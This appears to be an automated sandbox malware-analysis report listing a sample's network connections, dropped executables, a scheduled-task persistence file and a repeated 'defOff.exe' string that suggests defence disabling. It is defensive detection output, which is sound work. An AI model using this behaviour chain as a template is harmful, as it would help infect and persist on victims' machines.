Source: unknown	Network traffic detected: HTTP traffic on port 50044 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443

Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49761 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49771 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49789 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49997 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49999 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:50001 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:50002 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:50005 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:50007 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:50010 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:50016 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:50024 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:50032 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50036 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.6:50041 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.6:50042 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:50047 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:50050 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:50053 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:50056 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:50059 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:50062 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:50066 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:50068 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:50070 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:50071 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:50074 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50087 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.6:50086 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50088 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:50093 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:50112 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50133 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.6:50135 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50139 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50168 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50173 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50175 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50174 version: TLS 1.2

System Summary

Binary is likely a compiled AutoIt script file

Source: b0a3006fe7.exe, 0000000D.00000002.3009771409.00000000004F2000.00000002.00000001.01000000.00000011.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.		memstr_2153611b-8
Source: b0a3006fe7.exe, 0000000D.00000002.3009771409.00000000004F2000.00000002.00000001.01000000.00000011.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer		memstr_4481a9d5-e

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: Z3WVQPAQZN7WXE31OIKO79M3XY.exe.1.dr	Static PE information: section name:
Source: Z3WVQPAQZN7WXE31OIKO79M3XY.exe.1.dr	Static PE information: section name: .idata
Source: FMQRQQBV70LQ52SA3P6LYU.exe.1.dr	Static PE information: section name:
Source: FMQRQQBV70LQ52SA3P6LYU.exe.1.dr	Static PE information: section name: .idata
Source: FMQRQQBV70LQ52SA3P6LYU.exe.1.dr	Static PE information: section name:
Source: skotes.exe.5.dr	Static PE information: section name:
Source: skotes.exe.5.dr	Static PE information: section name: .idata
Source: skotes.exe.5.dr	Static PE information: section name:
Source: random[1].exe.8.dr	Static PE information: section name:
Source: random[1].exe.8.dr	Static PE information: section name: .idata
Source: 445877ac99.exe.8.dr	Static PE information: section name:
Source: 445877ac99.exe.8.dr	Static PE information: section name: .idata
Source: random[1].exe0.8.dr	Static PE information: section name:
Source: random[1].exe0.8.dr	Static PE information: section name: .rsrc
Source: random[1].exe0.8.dr	Static PE information: section name: .idata
Source: random[1].exe0.8.dr	Static PE information: section name:
Source: d319b3db9a.exe.8.dr	Static PE information: section name:
Source: d319b3db9a.exe.8.dr	Static PE information: section name: .rsrc
Source: d319b3db9a.exe.8.dr	Static PE information: section name: .idata
Source: d319b3db9a.exe.8.dr	Static PE information: section name:
Source: FVJELX1J0WZE21U53029YWO.exe.11.dr	Static PE information: section name:
Source: FVJELX1J0WZE21U53029YWO.exe.11.dr	Static PE information: section name: .idata
Source: XNXDGT6D647USNMWPLK.exe.11.dr	Static PE information: section name:
Source: XNXDGT6D647USNMWPLK.exe.11.dr	Static PE information: section name: .idata
Source: XNXDGT6D647USNMWPLK.exe.11.dr	Static PE information: section name:
Source: I2N109OTNRC1U5QURKF07D4TDEJX.exe.30.dr	Static PE information: section name:
Source: I2N109OTNRC1U5QURKF07D4TDEJX.exe.30.dr	Static PE information: section name: .idata
Source: T9ZRQE6U4JYG25WDD1H6CU.exe.30.dr	Static PE information: section name:
Source: T9ZRQE6U4JYG25WDD1H6CU.exe.30.dr	Static PE information: section name: .idata
Source: T9ZRQE6U4JYG25WDD1H6CU.exe.30.dr	Static PE information: section name:

PE file has a writeable .text section

Source: num[1].exe.8.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: num.exe.8.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: C:\Users\user\AppData\Local\Temp\FMQRQQBV70LQ52SA3P6LYU.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00CCF6A7	1_3_00CCF6A7
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00CCF6A7	1_3_00CCF6A7
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00CD5E18	1_3_00CD5E18
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00CD5E18	1_3_00CD5E18
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00CC7F2C	1_3_00CC7F2C
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00CC7F2C	1_3_00CC7F2C
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00CCF6A7	1_3_00CCF6A7
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00CCF6A7	1_3_00CCF6A7
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00CD5E18	1_3_00CD5E18
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00CD5E18	1_3_00CD5E18
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00CC7F2C	1_3_00CC7F2C
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00CC7F2C	1_3_00CC7F2C
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00CF5C30	1_3_00CF5C30
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00CF5C30	1_3_00CF5C30
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00CF5C30	1_3_00CF5C30
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00CF5C30	1_3_00CF5C30
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00CF5C30	1_3_00CF5C30
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00CF5C30	1_3_00CF5C30
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00CF5C30	1_3_00CF5C30
Source: C:\Users\user\AppData\Local\Temp\Z3WVQPAQZN7WXE31OIKO79M3XY.exe	Code function: 4_2_00AEB000	4_2_00AEB000
Source: C:\Users\user\AppData\Local\Temp\Z3WVQPAQZN7WXE31OIKO79M3XY.exe	Code function: 4_2_0096D55D	4_2_0096D55D
Source: C:\Users\user\AppData\Local\Temp\Z3WVQPAQZN7WXE31OIKO79M3XY.exe	Code function: 4_2_00AF4C81	4_2_00AF4C81
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Code function: 11_3_00F9E153	11_3_00F9E153

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\num[1].exe A8ADDC675FCC27C94FF9E4775BB2E090F4DA1287AAE6B95CECC65CCF533BC61D

Source: file.exe, 00000001.00000003.2361422563.00000000059EB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2367967770.0000000005A48000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2371532791.0000000005B8F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2355217601.00000000059DA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2368455745.0000000005948000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2370188751.0000000005942000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2367664256.0000000005B3D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2356372101.0000000005950000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2354200855.00000000055AA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2357199712.00000000059E8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2370703194.000000000594D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2365174012.0000000005A1B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2373924308.0000000005A90000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2365609723.000000000594D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2366813454.0000000005B11000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2378324738.0000000005947000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2357889369.00000000059E6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2362115484.0000000005946000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2381009151.0000000005467000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2369849176.0000000005A55000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2381347538.0000000000CF4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2363170601.000000000594B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2363397964.0000000005ACF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2353692215.00000000055A2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2360431591.000000000594F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2373447868.0000000005A89000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2363707202.0000000005A13000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2370352163.0000000005A60000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2369203020.0000000005950000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2369636945.000000000594C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2372778531.0000000005A72000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2368130138.000000000594D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2366029024.0000000005951000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2368632660.0000000005A46000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2377106433.0000000005A8B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2371406786.0000000005A65000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2382012450.0000000005947000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2364537059.0000000005A1C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2371284770.0000000005944000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2371161539.0000000005A6D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2378165631.0000000005AB1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2364334166.0000000005949000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2373179329.000000000594B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2365916129.0000000005B10000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2357400298.000000000594A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2362935578.0000000005AB7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2363909288.0000000005944000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2370555588.0000000005B7F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2374171667.0000000005BE1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2364051777.0000000005A0C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2377993301.0000000005950000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2368292904.0000000005A4E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2366691420.0000000005A24000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2362670530.0000000005945000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2355317070.0000000005A77000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2372075218.0000000005B9F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2371709445.0000000005944000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2374398609.0000000005946000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2364864641.0000000005A12000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2366377754.0000000005947000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2354333471.0000000005947000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2362562900.00000000059F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2364188470.0000000005ADB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2375330802.0000000005BCC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2363286002.0000000005A0A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2365354579.0000000005AFB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2372523998.0000000005A90000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2370885431.0000000005A65000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2365760038.0000000005A2F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2361704466.0000000005A95000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2371032402.0000000005946000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2365014983.0000000005946000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2371936598.0000000005A64000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2364692443.0000000005947000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2367393466.0000000005942000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2353620874.0000000005742000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2369351848.0000000005A56000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2366198764.0000000005A3B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2367516138.0000000005A3B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2374689393.0000000005A89000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2353877935.0000000005942000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2362332378.00000000059FB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2367054932.0000000005A34000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2368909158.0000000005A4D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2361247647.0000000005943000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2369053682.0000000005B5A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2367813632.000000000594A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2372292335.0000000005951000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2381526949.00000000053CB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2377794813.0000000005BD8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2372941899.0000000005BA8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2368773914.0000000005947000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2354038049.00000000059DF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2376398448.0000000005945000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2381100254.00000000053CF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2366936872.0000000005948000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2367172080.000000000594A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2363542965.000000000594D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2373703985.0000000005942000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2360825393.00000000059FC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2362447019.0000000005945000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2355435024.00000000055A3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2372644350.0000000005948000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2362793704.0000000005A01000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000001.00000003.2367272974.0000000005A34000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
